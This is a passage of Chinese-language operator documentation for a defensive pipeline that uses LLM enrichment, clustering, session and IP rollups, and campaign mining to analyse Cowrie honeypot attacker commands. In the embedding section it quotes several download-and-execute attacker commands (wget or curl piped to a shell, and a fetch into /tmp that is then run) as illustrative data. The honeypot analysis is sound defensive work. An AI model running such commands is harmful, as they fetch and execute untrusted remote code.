| | `budget_exhausted` | 分诊本打算升级,但每日预算上限已达到;未发起云端调用 | | `cloud_parse_failed` | 已调用云端但返回了无法解析的 JSON;文档保留了本地生成的字段 | **成本控制:** 每次云端调用的输入 + 输出 token 都会通过 `cloud.pricing.{input,output}_per_mtok` 换算为美元,并在 SQLite 中按 UTC 日期进行累计。一旦当天的花费达到 `cloud.daily_budget_usd`,后续的升级将被跳过(文档依然会保留仅限本地的富化内容,并附带 `triage_reasons: ["…", "budget_exhausted"]`)。如果您更换了模型,请更新 `pricing` 配置——默认值追踪的是 Claude Sonnet 4.6,可能与您使用的模型不符。 **缓存语义:** 成功的纯本地富化会以 `(short_hash, generation_model, llm_config_hash, embed_config_hash)` 作为键被缓存。云端对同一哈希的重写也会缓存在相同的键下。没有经过云端补救的 `local_failed` 结果将不被缓存,以便在下次运行时重试。这两个哈希都是从配置中自动派生的——关于各自包含的内容请参见第 3 阶段及以上部分,设计原理详见路线图议题 #7。 ## 第 3 阶段 — 聚类和新颖性评分 第 1 阶段和第 2 阶段必须已经在运行并生成了带有嵌入的文档。第 3 阶段是一个独立的、无状态的任务——它读取 commands 索引,使用 HDBSCAN 对所有嵌入进行聚类,然后将新颖性分数回写。定期运行它即可(在当前数据量下,每 6 小时运行一次就足够了)。 ### 1. 安装聚类依赖 ``` sudo -u dshield_prism .venv/bin/pip install -e ".[cluster]" ``` 该操作会安装 `numpy` 和 `scikit-learn`(自 1.3 版本起包含了 HDBSCAN)。无需 Cython 或编译器——两者都以预编译的 wheel 包形式发布。不需要进行其他更改——聚类依赖被隔离在 `[cluster]` 附加选项中。 ### 2. 创建 command-clusters 索引 ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli \ init-indexes --layer command_clusters ``` 该操作是幂等的——可安全地重新运行。command-clusters 索引为每次运行的每个聚类存储一个中心点文档和一个运行摘要文档。多次运行的结果会累积;工作进程在查询时总是寻找最新一次运行的中心点。 ### 3. 干运行以进行验证 ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli cluster commands --dry-run ``` 预期输出(无写入): ``` { "run_id": "...", "docs_fetched": 412, "n_clusters": 14, "n_outliers": 38, "dry_run": true } ``` 如果 `docs_fetched` 为 0,说明第 1 阶段尚未写入任何文档,或者 `elasticsearch.indexes.cowrie.commands` 配置不正确。 ### 4. 正式运行 ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli cluster commands ``` 统计信息包含 `docs_updated`、`cluster_docs_written` 和 `runtime_seconds`。成功运行后,每个命令文档的 `dshield.cowrie.enrichment.cluster.*` 字段都将被填充。 ### 5. 安排定时任务 安装脚本会安装 `dshield_prism-backward.timer`,它会分别在 00:00、06:00、12:00 和 18:00 UTC 运行完整的后向处理链(`re-enrich-stale` → `reembed` → 重置汇总水位 → 重新汇总 → `cluster commands` → `cluster sessions` → `cluster ips` → `escalate` → `name playbooks` → `mine campaigns`),带有最多 10 分钟的随机延迟。不需要额外的 cron 条目。 要监控它: ``` journalctl -fu dshield_prism-backward.service systemctl list-timers dshield_prism-backward.timer ``` 除了 `cluster commands` 之外,每个步骤在服务单元中均以 `-` 前缀声明,因此它们的失败(例如因 `cloud.enabled=false` 导致的 `escalate` 失败,或缺少 `[cluster]` 附加依赖)不会导致整个单元失败——`cluster commands` 是必须的,因为每个下游步骤都依赖于它的新颖性分数。在稳定状态下,`re-enrich-stale` 和 `reembed` 都是空操作(它们会跳过哈希值仍为最新的记录),因此它们在处理链中的存在基本是零成本的,除非自上次运行以来配置发生了变化。 `escalate` 也可以安全地随时运行:它仅处理 `event.provider: "local"` 的文档,因此已经完成云端升级的文档绝不会被重复处理。如果每日预算在运行中途耗尽,它会干净地停止,并在下次运行时从最新颖的剩余候选处继续。 ### Kibana:长尾仪表板查询 第 3 阶段运行完成后,以下 KQL 查询可在您的富化索引上运行: ``` # 最新颖的命令 (长尾) dshield.cowrie.enrichment.cluster.is_outlier : true # 按新颖度降序排序 — 挑选出不寻常的命令 # 排序字段:dshield.cowrie.enrichment.cluster.novelty_score (desc) # 本周首次出现且真正具有新颖性的命令 event.start >= now-7d and dshield.cowrie.enrichment.cluster.novelty_score >= 0.7 # 属于同一 cluster 的命令(同一主题的所有变体) dshield.cowrie.enrichment.cluster.id : "cluster_3" # Cluster 概览:基于 cluster.id 的 terms agg,指标为 count,sub-agg 为 sample command ``` ### novel_embedding 分诊规则 `novel_embedding` 分诊规则由 `escalate` 命令处理,而非 `enrich`。在每次 `cluster commands` 运行之后,`escalate` 会在 ES 中查询 `novelty_score` 大于等于 `cloud.triage.novel_embedding_threshold`(默认 `0.5`)的本地富化文档,并将它们重新升级到 Claude。这使得在 `enrich` 中,嵌入依然保持为最后一步(在所有 LLM 调用之后),从而避免了对已升级命令进行两次嵌入。 要调整阈值,请编辑 `config/local.yaml`: ``` cloud: triage: novel_embedding_threshold: 0.6 # enrich: escalate if novelty >= this escalate_confidence_max: 7 # escalate cmd: only re-triage if confidence <= this ``` 请注意区别:`enrich` 中的 `novel_embedding` 规则仅基于**新颖性**触发(没有置信度过滤——因为该命令是全新的,本地模型可能做出了高置信度但错误的分类)。而 `escalate` 命令增加了**置信度过滤**,从而避免将预算浪费在本地模型已经非常确定的那些新颖命令上。 ### 聚类 ID 的稳定性 HDBSCAN 聚类 ID(`cluster_0`、`cluster_1` 等)是**基于运行范围限定的**——随着新数据的到达,它们在两次运行之间可能会发生偏移。请将 `cluster.id` 用于快照内的过滤,而不要将其视为跨时间的稳定标识符。`scored_at` 时间戳会告诉您哪次运行生成了给定文档上的标签。 ## 第 3 阶段+ — 更智能的嵌入 + 标量特征增强 这两项增量改进可以在不需要新索引或映射变更的情况下提高聚类质量。 ### 语义嵌入(在嵌入中包含关于命令的上下文) **问题:** 以前的管道在 LLM 富化*之前*对原始命令进行嵌入。`wget http://x.sh | sh` 和 `curl http://y.sh | bash` 在语义上是完全一致的,但原始文本不同,因此它们可能会落入不同的聚类中。 **改变了什么:** `enrich.py` 现在遵循以下顺序:本地 LLM →(如果需要)云端 LLM → 嵌入。嵌入始终是最后一步,因此存储的向量总是反映了最终的富化输出——如果是云端升级的,就是云端输出;否则就是本地输出。嵌入文本字符串在原始命令之前预置了富化字段: ``` intent: execution. tactics: TA0002, TA0011. Downloads and executes a shell script from a remote host via wget. Command: wget http://192.168.1.1/setup.sh -O /tmp/s && chmod +x /tmp/s && /tmp/s ``` 如果富化失败(`local_failed`),则回退到原始命令——与以前相同。 **配置** (`config/default.yaml`,在 `local.yaml` 中覆盖): ``` llm: embed_context: - intent - tactics - techniques - description ``` 设置 `embed_context: []` 可恢复到第 3 阶段+ 之前的行为(仅包含原始命令)。对 `embed_context`、`embedding_model` 或 `cooccurrence.embed_cooccurrence` 的更改会自动汇入 `embed_config_hash` 中——无需手动更改版本号。 **`embed_config_hash` 和缓存键:** 自动派生的 `embed_config_hash` 是缓存键的一部分,与 `generation_model` 和 `llm_config_hash` 并列。在不同哈希下创建的现有缓存行在首次运行时将被视为缓存未命中。如果在当前配置下已知的缓存富化结果仍然正确,请使用 `bless-cache` 标记遗留记录。 **迁移**(升级现有部署时运行一次): ``` # 使用存储的 enrichment 字段重新嵌入所有文档 — 无需 LLM 调用。 # 更新缓存行的 embed_config_hash,以便下次 enrich 跳过 LLM # (保留 llm_config_hash,因此过期的 LLM prompt 不会被静默滥用)。 sudo -u dshield_prism .venv/bin/python -m enrich.cli reembed # 从新向量重建 cluster 质心。 sudo -u dshield_prism .venv/bin/python -m enrich.cli cluster commands ``` 如果某些文档未能重新嵌入(网络闪断、嵌入模型超时),它们将保持未被缓存的状态,并在下一次 `enrich` 运行时回退到正常的 LLM 重新富化流程。 ### 标量特征增强(在聚类中包含行为信号) **问题:** 两个语义相同的命令可能具有截然不同的行为信号——一个被来自 300 个 IP 的请求执行了 10,000 次(常规命令),另一个仅从单个 IP 被发现一次(新颖命令)。768 维的嵌入会将它们同等对待。 **改变了什么:** 共享的聚类核心(`clustering.py`)在运行 HDBSCAN 之前,向经过 L2 归一化的嵌入矩阵附加了一个小型(n × 4)的标量块。这四个特征——经过对数正态化的 `occurrence_count`、对数正态化的 `unique_source_ips`、`confidence / 10` 以及 `session_reuse_rate`——使得 HDBSCAN 能够在文本相似的情况下将常规载荷与罕见载荷区分开来。 写入 command-clusters 索引并用于 `novel_embedding` 分诊规则的中心点向量依然是纯 768 维的。新颖性分数是基于那些纯中心点计算的——因此分诊行为保持不变。会话和 IP 拥有它们各自的标量块;请参见 `config/default.yaml` 中的 `session.cluster_scalar_weight` 和 `ip.cluster_scalar_weight`。 **配置** (`config/default.yaml`,在 `local.yaml` 中覆盖): ``` command_cluster: scalar_weight: 0.05 # scalar block contributes ~5% of vector norm; tune 0.0–0.15 ``` 设置 `scalar_weight: 0.0` 即可禁用。不需要进行数据迁移——在下一次 `cluster commands` 处理时即可生效。 **调优:** 在更改权重后请监控 `n_outliers`。如果它急剧下降,说明标量块过度地将常规项与新颖项隔离开来,而这些项本应同属一个聚类。如果它保持大体稳定,说明该信号起到了叠加增强的作用。 ## 第 4 阶段 — 会话与 IP 分析 第 4 阶段将分析从单一命令提升到了行为层级:每个已完成的会话对应一个文档,每个源 IP 对应一个文档。这两个层级完全是增量式的——不会触及富化索引、命令水位或 SQLite 缓存。 ### 第 4 阶段构建了什么 **会话层** (`rollup sessions` + `cluster sessions`) 每个已完成的 Cowrie 会话(由 `cowrie.session.closed` 事件标识)对应一个文档。每个文档从事件索引中聚合了该会话的所有事件,并与第 1 阶段已写入的命令富化文档进行关联: - 连接元数据:源 IP + 端口、目标 IP + 端口、协议、地理位置/ASN。 - 从 `cowrie.session.closed` 事件获取的会话持续时间。 - 凭据统计:登录成功与失败次数。 - 文件活动:下载和上传次数。 - SSH 客户端指纹(`user_agent.original`)和 HASSH 算法字符串。 - 来自富化索引的命令统计信息:主要意图、平均及最大新颖性分数、平均置信度、命令分布的香农熵(高熵 = 命令多样化 = 交互式攻击者;低熵 = 重复命令 = 自动化扫描器)。 - **会话嵌入**——已存储命令嵌入的平均池化。对于尚未包含已富化命令的会话,会写入一个部分文档,并在 `enrich` 追上进度后的下一次 `rollup sessions` 运行中被更新。 `cluster sessions` 会对附加了四个行为标量(命令计数、唯一命令计数、登录成功率、平均新颖性)的会话嵌入运行 HDBSCAN 算法,并将聚类 ID 和新颖性分数回写到每个会话文档中。 **IP 层** (`rollup ips` + `cluster ips`) 每个 `source.ip` 对应一个文档,通过聚合该 IP 的所有会话文档构建而成: - 总会话数、包含成功登录的会话数、包含命令的会话数。 - 跨所有会话的总命令数和文件下载数。 - 会话嵌入的平均池化 → 一个 IP 级别的 768 维向量。 - 主要意图、平均/最大新颖性分数、平均会话持续时间。 - 首次和最后一次出现的时间戳。 `cluster ips` 对附加了两个标量子块的 IP 嵌入进行聚类:行为信号(`total_sessions`、`login_success_rate`、`mean_novelty_score`、`mean_session_duration_s`,权重设为 `ip.cluster_scalar_weight=0.05`)和归属信号(国家独热编码、Top-N `ASN` 分桶、`credential` 哈希,权重设为 `ip.cluster_attribution_weight=0.10`)。归属标量的权重故意设置得更高——如果没有它,来自不同 ASN 但运行相同 Mirai 变种的互不相干的两个僵尸主机就会被聚为一类。IP 聚类是未命名的“行为者档案”桶——它们不由 LLM 命名。IP 的剧本成员资格源自它产生的会话;IP 的攻击活动成员资格源自 `mine campaigns`(这会写入其自身的索引,而不是回写到 IP 文档上)。 **剧本层** (`name playbooks`) `name playbooks` 提示**本地** LLM(绝不使用云端)从每个非异常会话聚类中提取样本命令,并写入一个 3-5 个词的 `playbook_name`——例如 "XMRig Mining Dropper"、"Mirai Botnet Variant"、"Go SSH Credential Spray"——加上一个稳定的 `playbook_id`(`sescl-<16hex>`,是对排序后的成员会话 ID 集合取 SHA-256 前缀)到聚类中心点文档和每个成员会话文档中。这种内容寻址的形式意味着,在成员会话完全相同的情况下重新运行会产生完全相同的 ID,因此下游的数据透视(特别是依赖于排序后的剧本 ID 集合的攻击活动 ID)在重新聚类时不会发生变动。 **攻击活动层** (`mine campaigns`) `mine campaigns` 运行两个挖掘器来识别多会话模式: - **behaviour**(对每个 IP 的剧本集合运行 FP-growth 频繁项集挖掘)——用于捕获类似于“运行了剧本 A 且 B 且 C 的 IP 正在执行相同的操作”这种杀伤链组合。 - **infrastructure**(通过共享 URL/SSH 密钥/文件哈希构建的会话连通分量)——用于捕获由共享工具链绑定的操作,即使它们的命令不同也能被识别。 每个攻击活动在 `campaigns-dshield.cowrie-default` 索引中对应一个文档,携带有其自身的成员剧本/成员会话/成员 IP 列表。有关数据模型和调整参数,请参见 [`docs/PLAYBOOKS_AND_CAMPAIGNS.md`](docs/PLAYBOOKS_AND_CAMPAIGNS.md)。 ### 从第 4 阶段之前的部署升级 (第 3 阶段 → 完整的第 4 阶段) 第 4 阶段完全是增量的。升级过程中的任何操作都不会触及富化索引、命令水位、SQLite 缓存或聚类中心点。您只需添加四个新的 ES 索引,无需安装新的 Python 依赖(第 3 阶段已经要求安装了 `[cluster]` 附加依赖),并安排四个新的 CLI 命令。 **步骤 1 — 拉取更新后的代码** ``` cd /opt/dshield_prism sudo -u dshield_prism git pull ``` **步骤 2 — 确认已安装聚类依赖** 第 4 阶段使用与第 3 阶段相同的 `numpy` + `scikit-learn` 附加依赖。如果第 3 阶段已在运行,请跳过此步。 ``` sudo -u dshield_prism .venv/bin/pip install -e ".[cluster]" ``` **步骤 3 — 找到您的索引名称** 索引名称位于您配置中的 `elasticsearch.indexes.cowrie.*` 之下。使用 `config/default.yaml` 中的默认值,第 4 阶段的索引为: | 层级键 | 默认索引名称 | |---|---| | `sessions_rollup` | `rollup-dshield.cowrie.session-default` | | `session_clusters` | `clusters-dshield.cowrie.session-default` | | `ips_rollup` | `rollup-dshield.cowrie.source_ip-default` | | `ip_clusters` | `clusters-dshield.cowrie.source_ip-default` | 如果您在 `local.yaml` 中覆盖了其中任何一个,可以打印解析后的名称: ``` sudo -u dshield_prism .venv/bin/python -c " from enrich.config import load_config cfg = load_config('config/default.yaml') ix = cfg.elasticsearch.indexes.cowrie print('sessions: ', ix.sessions_rollup) print('sessions-clusters:', ix.session_clusters) print('ips: ', ix.ips_rollup) print('ips-clusters: ', ix.ip_clusters) " ``` **步骤 4 — 创建四个新索引** `init-indexes` 是幂等的——对已存在的层级会返回 `action: "noop"`。您可以在不带有 `--layer` 的情况下一次性运行它,以创建该数据源缺失的每个层级: ``` CLI=".venv/bin/python -m enrich.cli" sudo -u dshield_prism $CLI init-indexes ``` 或者,当您希望逐一验证时,可以将其范围限定为单个层级: ``` sudo -u dshield_prism $CLI init-indexes --layer sessions sudo -u dshield_prism $CLI init-indexes --layer session_clusters sudo -u dshield_prism $CLI init-indexes --layer ips sudo -u dshield_prism $CLI init-indexes --layer ip_clusters ``` **步骤 5 — 干运行以验证事件访问权限** ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli rollup sessions --dry-run ``` 预期输出: ``` { "closed_sessions_found": 1847, "max_ts": "2026-05-09T14:32:10.000Z", "dry_run": true } ``` `closed_sessions_found: 0` 意味着在您的 `events_index` 模式下看不到任何 `cowrie.session.closed` 事件。请在 Kibana Dev Tools 中进行验证: ``` GET /_count { "query": { "term": { "event.action": "cowrie.session.closed" } } } ``` **步骤 6 — 初始会话回填** 在没有会话水位的情况下,首次运行会处理记录过的每一个已关闭的会话。它从 ES 读取数据并批量获取富化文档——不涉及 LLM 调用。 ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli rollup sessions ``` 示例输出: `sessions_with_embedding < sessions_built` 属于正常现象——命令尚未被富化的会话会写入部分文档,并在 `enrich` 运行后的下一次汇总中被填充完整。`sessions_no_events` 是由于部分数据摄入产生的幽灵会话 ID。 **步骤 7 — 对会话进行聚类** ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli cluster sessions --dry-run sudo -u dshield_prism .venv/bin/python -m enrich.cli cluster sessions ``` 每个带有嵌入的会话文档现在都具有 `dshield.cowrie.enrichment.session.cluster.*` 字段。 **步骤 8 — 初始 IP 回填** `rollup ips` 会查找自 IP 水位以来会话发生过更新的所有 IP(尚无水位,因此会处理所有内容)。 ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli rollup ips --dry-run sudo -u dshield_prism .venv/bin/python -m enrich.cli rollup ips ``` 示例输出: ``` { "affected_ips": 312, "ips_built": 312, "ips_with_embedding": 287, "bulk_ok": 312, "ips_index": "rollup-dshield.cowrie.source_ip-default" } ``` **步骤 9 — 对 IP 进行聚类** ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli cluster ips --dry-run sudo -u dshield_prism .venv/bin/python -m enrich.cli cluster ips ``` **步骤 10 — 命名剧本** 始终使用**本地** LLM——无论 `cloud.enabled` 设置如何,都不会升级到云端。命名属于一种简短的、低成本的生成任务,跨运行的一致性比单次调用的质量更重要。首先进行干运行,以预览哪些聚类将被命名以及它们将看到哪些命令。 ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli name playbooks --dry-run sudo -u dshield_prism .venv/bin/python -m enrich.cli name playbooks ``` 每个聚类记录日志为:`Session cluster cluster_N (42 sessions) → 'XMRig Mining Dropper'`。名称及稳定的 `playbook_id` 会被写入聚类中心点文档和每个成员会话文档中。 提示词模板:`config/prompts/playbook_name.txt`。 **步骤 11 — 挖掘攻击活动** ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli mine campaigns --dry-run sudo -u dshield_prism .venv/bin/python -m enrich.cli mine campaigns --kind all ``` 这是纯算法执行的——不涉及 LLM。输出结果会写入到 `campaigns-dshield.cowrie-default` 索引中。有关调整参数,请参见 [`docs/PLAYBOOKS_AND_CAMPAIGNS.md`](docs/PLAYBOOKS_AND_CAMPAIGNS.md)。 **步骤 12 — 导入 Kibana 仪表板** 项目中附带了两个仪表板的 NDJSON 文件。请逐一导入: Kibana → Stack Management → Saved Objects → Import → 选择文件 → 确认。 | 文件 | 仪表板标题 | 创建的数据视图 | |---|---|---| | `es-dashboards/command-enrichment-dashboard.ndjson` | `[DShield] Command Enrichment` | `enriched-dshield.cowrie.command-default` | | `es-dashboards/session-analysis.ndjson` | `[DShield] Session Behavior Analysis` | `rollup-dshield.cowrie.session-default` | 如果您的索引名称与默认值不同,请在导入后编辑导入的数据视图:Stack Management → Data Views → 找到该视图 → 编辑索引模式标题,使其与您实际的索引名称匹配。控制台的 `/insights` 页面是浏览剧本和攻击活动的推荐方式;Kibana 的覆盖范围特意保持得较为轻量。 **步骤 13 — 添加到常规调度** `systemd/` 中提供的两个 systemd 单元已经涵盖了完整的调度周期——如果您使用了 `scripts/setup-security-onion-node.sh`,则无需手动编辑。这种拆分反映了概念上的划分:**前向处理**动词(水位驱动,仅触及新数据)频繁运行;**后向处理**动词(全量语料重新计算)定期运行。作为参考,其处理链分别为: ``` # 每 30 分钟 (dshield_prism-forward.service) — 前瞻式,由 watermark 驱动 healthcheck --scope llm (hard fail = whole pass skipped) enrich rollup sessions rollup ips # 每 6 小时 (dshield_prism-backward.service) — 回溯式,全语料库 healthcheck --scope llm (soft check; most steps don't need the LLM) re-enrich-stale (LLM-side cache-hash drift; near-no-op when fresh) reembed (embed-side cache-hash drift; near-no-op when fresh) reset --session-watermark --ip-watermark --yes (force full re-rollup) rollup sessions (re-pool with fresh command embeddings) rollup ips cluster commands (required; downstream depends on its novelty) cluster sessions (requires .[cluster] extras) cluster ips (requires .[cluster] extras) escalate (skipped if cloud disabled or budget exhausted) name playbooks mine campaigns ``` 这两个单元通过 `flock /var/lib/dshield_prism/.lock` 串行执行——无论哪个后触发,都会被阻塞在锁上,直到先触发的完成。 如果您维护的是自定义的单元文件,请将每个步骤作为附加的 `ExecStart=` 行添加——systemd 会在单次服务内按顺序运行它们。除了第一个 `cluster commands` 之外,每个步骤都以 `-` 前缀声明,因此瞬态故障(云端被禁用、LLM 不可达等)不会导致整个单元失败。 ``` sudo systemctl daemon-reload ``` ### 第 4 阶段 — 运维说明 **水位标记** — 第 4 阶段向现有的 SQLite 文件中新增了两个水位键。它们都不会被 `reset` 命令清除(该命令仅清除命令水位)。 | 水位键 | 清除方式 | 手动重置方法 | |---|---|---| | `last_processed_at` | `reset --watermark` | — | | `session_last_processed_at` | 无法通过命令清除 | `DELETE FROM watermark WHERE key = 'session_last_processed_at';` | | `ip_rollup_last_processed_at` | 无法通过命令清除 | `DELETE FROM watermark WHERE key = 'ip_rollup_last_processed_at';` | 运行 `sqlite3 /var/lib/dshield_prism/state.sqlite` 可打开 SQLite shell。 **在富化变更后重新汇总** —— 如果您编辑了提示词或 LLM 端的共现配置并重新进行了富化(改变了富化文档中的意图、新颖性或置信度),会话和 IP 文档就会变得陈旧。完全刷新的步骤为: ``` # sqlite3 /var/lib/dshield_prism/state.sqlite DELETE FROM watermark WHERE key IN ('session_last_processed_at', 'ip_rollup_last_processed_at'); ``` 然后按顺序运行完整的第 4 阶段管道:`rollup sessions` → `cluster sessions` → `name playbooks` → `rollup ips` → `cluster ips` → `mine campaigns`。 **没有嵌入的会话** —— 当会话的 `cowrie.session.closed` 事件出现时,会话就会被写入,即使其所有命令尚未被富化。部分文档(无嵌入)会在后续的 `rollup sessions` 运行中被自动更新。`cluster sessions` 会静默跳过它们,直到下一个汇总周期。 **大多数会话将没有嵌入** —— 这是预期行为,而不是 bug。大多数 Cowrie 会话都是纯粹的凭据暴力破解:连接,尝试几次登录,断开连接而没有执行任何命令。这些会话没有可用于嵌入的命令。它们对于 IP 层仍然很有价值(IP 文档会跟踪总会话数、登录成功率等),并且会通过其 IP 的其他确实运行了命令的会话对 IP 聚类做出贡献。 **聚类 ID 是基于运行范围限定的** —— 对于会话和 IP,`cluster_0`、`cluster_1` 等在两次运行之间可能会发生偏移。请使用 `scored_at` 来了解是哪次运行生成了当前的标签。剧本名称(由 `name playbooks` 写入)保存在聚类中心点文档和每个成员会话文档中。当会话被重新聚类时,`cluster sessions` 会清除该会话的剧本标签(因为旧名称附属于不同的聚类运行);下一次 `name playbooks` 处理会重新填充它。默认情况下,`name playbooks` 会跳过已具有 `playbook_name` 的聚类——请传递 `--force` 以重新命名所有内容。 **重命名剧本** —— 要在 LLM 提示词更改后更新名称: ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli name playbooks --force ``` 这将为所有聚类重新生成名称,并同时更新中心点文档和成员会话文档。 **剧本命名仅使用本地 LLM** —— `name playbooks` 直接通过 `generate_json(prompt, ...)` 调用本地 LLM,无论 `cloud.enabled` 设置如何,都不会升级到云端。原因:输出只有 3-5 个词,并且跨运行的一致性比每次调用的质量更重要。提示词模板:`config/prompts/playbook_name.txt`。`mine campaigns` 是纯算法执行的——不涉及任何 LLM。 **`ip_embed_version`** —— 记录在每个 IP 文档中。仅供参考;无论此版本号如何,`rollup ips` 始终会覆盖完整的 IP 文档。 ### Kibana 仪表板 项目中附带了两个可直接导入的 NDJSON 仪表板文件。对于剧本/攻击活动的探索,推荐的 UI 是独立的调查控制台(`/insights` 页面);Kibana 的覆盖范围特意保持得较为轻量。 **`[DShield] Session Behavior Analysis`** (`es-dashboards/session-analysis.ndjson`) 面板:总会话数 · 包含命令的会话数 · 行为异常点 (cluster.is_outlier) · 成功入侵(登录成功 + 包含命令) · 随时间变化的会话面积图 · 主要意图饼图 · 最新颖会话数据表(按最大新颖性降序排列) · 顶级攻击者 IP 表。 **主要工作流:** 首先检查 **Behavioral outliers** 指标。点击它可将仪表板过滤为仅显示异常会话。在 **Most novel sessions** 表中,查找在同一会话中 `Max Novelty > 0.7`、`Login OK >= 1` 且 `Downloads >= 1` 的行——这些是最具调查价值的会话。复制会话 ID,转到 Discover,在富化索引上过滤 `cowrie.session_id: ""`,即可阅读该会话中附带 MITRE 标签和 IOC 提取结果的每一个命令。 **`[DShield] Command Enrichment`** (`es-dashboards/command-enrichment-dashboard.ndjson`) 包含涉及每个命令的意图 / MITRE / 置信度 / 新颖性分布的面板。主要的第 1-3 阶段视图。 **适用于 Discover 的实用 KQL 过滤器:** ``` # Sessions 索引 — 值得阅读的交互式 sessions dshield.cowrie.enrichment.session.login_success_count >= 1 and dshield.cowrie.enrichment.session.command_count >= 1 # Sessions 索引 — 高命令熵(人类探索者,而非脚本) dshield.cowrie.enrichment.session.command_entropy >= 2.5 # Sessions 索引 — 文件窃取尝试 dshield.cowrie.enrichment.session.file_download_count >= 1 # Sessions 索引 — 未分配给任何 cluster 的新颖 sessions dshield.cowrie.enrichment.session.cluster.is_outlier : true # Sessions 索引 — 属于已知 playbook 的 sessions dshield.cowrie.enrichment.session.playbook_name : "Curl Pipe Bash Dropper" # IP 索引 — 异常 IP(独狼或新攻击者画像) dshield.cowrie.enrichment.ip.cluster.is_outlier : true # IP 索引 — 成功登录的 IP dshield.cowrie.enrichment.ip.successful_sessions >= 1 # Pivot:来自特定 session 的所有命令 (enrichment 索引) cowrie.session_id : "" ``` ### 基于剧本名称进行透视 您在控制台或 Discover 中发现了一个有趣的 `playbook_name`。沿着关系链追溯即可找到其背后的命令和事件。 ``` Step 1 — Sessions index: get the playbook's sessions dshield.cowrie.enrichment.session.playbook_name : "Your Playbook Name" → sort by dshield.cowrie.enrichment.session.max_novelty_score desc → focus on rows with login_success_count >= 1 → note cowrie.session_id values Step 2 — Enrichment index: read the commands (deduplicated, with MITRE labels) cowrie.session_id : "abc12345" Step 3 — Events index: read the raw event timeline cowrie.session_id : "abc12345" → ordered: connect → logins → commands → file downloads → disconnect ``` 位于 `/insights` 的调查控制台以交互方式提供了相同的追溯链,外加 IP→剧本视图、每个剧本的 14 天迷你图,以及用于多会话攻击活动的独立面板。 ## ECS 字段参考 文档结构符合 ECS 标准:标准字段位于 `event.*`、`process.*`、`observer.*`、`threat.*` 下。自定义富化字段位于 `dshield.cowrie.enrichment.*` 下——这与 `elastic_pipeline/` 中 SO 摄入管道使用的 `dshield..*` 命名空间约定相匹配(例如 `webhoneypot-pipeline.yml` 中的 `dshield.signature.*`,`cowrie-pipeline.yml` 中的 `event.dataset: dshield.cowrie.session`)。未来的日志源可以扩展相同的模式:`dshield.webhoneypot.enrichment.*`、`dshield..enrichment.*` 等。 | 路径 | 类型 | 备注 | |---|---|---| | `@timestamp` | date | 富化发生的时间 | | `event.kind` | keyword | `"enrichment"` | | `event.category` / `event.type` | keyword[] | `["process"]` / `["info"]` | | `event.module` / `event.dataset` | keyword | `"cowrie"` / `"dshield.cowrie.enrichment.command"` | | `event.provider` | keyword | `"local"`、`"local_failed"` 或 `"claude"`(第 2 阶段云端重写文档) | | `event.start` / `event.end` | date | 分组事件中最早/最晚出现的时间 | | `event.id` | keyword | 16 个字符的 sha256 前缀;与 ES 的 `_id` 相同 | | `event.reason` | text | LLM 生成的描述(长度随命令复杂度而变) | | `event.ingested` | date | 对于富化文档而言与 `@timestamp` 相同 | | `process.command_line` | text + .keyword | 经过规范化的命令,与源事件完全一致 | | `process.hash.sha256` | keyword | 经过规范化的命令的完整 sha256 哈希值 | | `observer.type` / `observer.vendor` | keyword | `"honeypot"` / `"Cowrie"` | | `threat.framework` | keyword | `"MITRE ATT&CK"` | | `threat.tactic.id` | keyword[] | 例如 `["TA0002"]` | | `threat.technique.id` | keyword[] | 例如 `["T1059.004", "T1105"]` | | `threat.indicator` | nested[] | `{type, ip, domain, url.full, file.name, file.hash.sha256}` | | `dshield.cowrie.enrichment.intent` | keyword | 自定义枚举(ECS 中没有等价项) | | `dshield.cowrie.enrichment.confidence` | byte | 介于 1-10 的整数,由 LLM 自我评定;锚点请参见提示词 | | `dshield.cowrie.enrichment.model` | keyword | LLM 模型标识符 | | `dshield.cowrie.enrichment.llm_config_hash` | keyword | 自动派生:基于提示词文件内容 + LLM 端共现参数生成的 SHA-256 前缀。此项的更改会使缓存中 LLM 侧的数据失效(强制重新富化)。 | | `dshield.cowrie.enrichment.embed_config_hash` | keyword | 自动派生:基于 `llm.embed_context`、`llm.embedding_model` 以及 `cooccurrence.embed_cooccurrence` 生成的 SHA-256 前缀。此项的更改仅使嵌入侧的数据失效——`reembed` 可以在不调用 LLM 的情况下进行刷新。 | | `dshield.cowrie.enrichment.prompt_version` | keyword | 遗留字段(仅在路线图 #7 之前的文档中存在)。新的写入会改用 `llm_config_hash` /embed_config_hash`。 | | `dshield.cowrie.enrichment.occurrence_count` | long | 此命令对应的事件总数 | | `dshield.cowrie.enrichment.unique_sessions` | long | 去重后的 Cowrie 会话 ID 数量 | | `dshield.cowrie.enrichment.unique_source_ips` | long | 去重后的攻击者 IP 数量 | | `dshield.cowrie.enrichment.command_truncated` | boolean | 如果命令长度超过 4000 字符,则为 True | | `dshield.cowrie.enrichment.embedding` | dense_vector(768) | 用于 kNN / 聚类 | | `dshield.cowrie.enrichment.triage_reasons` | keyword[] | 第 2 阶段:针对此文档触发的规则代码(`low_confidence<=N`、`local_failed`、`base64_blob`、`ip_literal`、`rare_tld`、`novel_embedding`、`sample`、`budget_exhausted`、`cloud_parse_failed`) | | `dshield.cowrie.enrichment.notes` | text | 第 2 阶段:来自云端模型的自由文本分析师备注(关于攻击者/家族/活动链的假设) | | `dshield.cowrie.enrichment.local_fallback.*` | object | 第 2 阶段:本地模型输出的快照,在文档被云端重写时保留 | | `dshield.cowrie.enrichment.cluster.id` | keyword | 第 3 阶段:HDBSCAN 聚类标签(`cluster_N`)或 `"outlier"`——基于运行范围限定,在重新运行时不稳定 | | `dshield.cowrie.enrichment.cluster.novelty_score` | float | 第 3 阶段:`1 - max_cosine_sim`(相对于任何聚类中心点)。范围为 0–1;异常值始终为 `1.0`。用于长尾查询 | | `dshield.cowrie.enrichment.cluster.is_outlier` | boolean | 第 3 阶段:当 HDBSCAN 分配标签 `-1` 时为 True(无聚类匹配) | | `dshield.cowrie.enrichment.cluster.scored_at` | date | 第 3 阶段:设置这些字段的聚类运行的时间戳 | ### 